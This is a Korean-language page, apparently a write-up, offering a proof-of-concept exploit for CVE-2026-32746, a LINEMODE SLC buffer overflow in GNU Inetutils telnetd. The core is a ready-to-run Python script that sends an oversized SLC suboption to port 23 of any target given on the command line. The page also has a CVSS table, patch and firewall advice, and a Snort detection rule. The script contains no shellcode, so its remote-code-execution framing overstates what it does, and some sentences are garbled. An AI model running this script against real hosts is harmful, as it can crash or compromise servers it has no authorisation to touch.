
# CVE-2026-32746 개념 증명 익스플로잇 GNU Inetutils telnetd의 LINEMODE SLC 버퍼 오버플로우를 통한 치명적인 원격 코드 실행 취약점에 대한 개념 증명 익스플로잇입니다. 기술 분석, CVSS 지표 및 완화 지침을 포함합니다.
치명적 취약점 | CVSS 9.8 | 원격 코드 실행!
영향: GNU Inetutils Telnetd (2.7 이전 버전)
유형: LINEMODE SLC 하위 옵션 핸들러의 OOB Write
공격 벡터: 네트워크 (포트 23) | 인증 불필요
영향: Telnetd 프로세스 권한으로 RCE
GNU Inetutils의 telnetd 데몬에 있는 add_slc 함수에서 버퍼 오버플로우(경계 밖 쓰기, OOB Write) 가 발견되었습니다. 이 결함으로 인해 원격 공격자가 Telnet 프로토콜의 SLC(Set Local Characters) 하위 옵션을 조작하여 할 수 있습니다.
add_slc (로컬 문자 처리).공격자는 내부 버퍼를 포화시키는 악성 Telnet 페이로드를 통해 이 취약점을 악용할 수 있습니다:
#!/usr/bin/env python3
import socket
import sys
# CVE-2026-32746 - LINEMODE SLC Overflow
# IAC SB LINEMODE SLC <list> IAC SE
IAC = b'\xff'
SB = b'\xfa'
SE = b'\xf0'
LINEMODE = b'\x22'
SLC = b'\x03'
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
# add_slc를 오버플로우시키기 위해 생성된 페이로드
malicious_slc = b"\x01\x03\x41" * 600 # 600회 반복
payload = IAC + SB + LINEMODE + SLC + malicious_slc + IAC + SE
print(f"[*] {target}에 악성 페이로드 전송 중...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target, 23))
s.sendall(payload)
print("[+] 페이로드 전달 완료. 서비스 중단/RCE 확인 중...")
⚠️ 경고! 이 코드는 교육 및 연구 목적으로만 사용해야 합니다. 승인되지 않은 시스템에서의 사용은 불법입니다.
| 메트릭 | 값 | 설명 |
|---|---|---|
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 원격, 인증 불필요 |
| 점수 | 9.8 (치명적) 🔴 | 기밀성, 무결성, 가용성에 높은 영향 |
| 공개일 | 2026년 3월 13일 | 최종 수정: 2026년 5월 5일 |
✅ GNU Inetutils를 패치된 버전(2.7 이후) 으로 업데이트.
🔹 telnetd 비활성화 및 SSH로 전환 (권장).
🔹 경계 방화벽에서 포트 23 차단.
🔹 IDS/IPS 구성하여 비정상적인 LINEMODE SLC 시퀀스 탐지.
alert tcp any any -> any 23 (msg:"CVE-2026-32746 - LINEMODE SLC Overflow"; content:"|FF FA 22 03|"; depth:5; threshold:type both, track by_src, count 1, seconds 1; sid:1000001; rev:1;)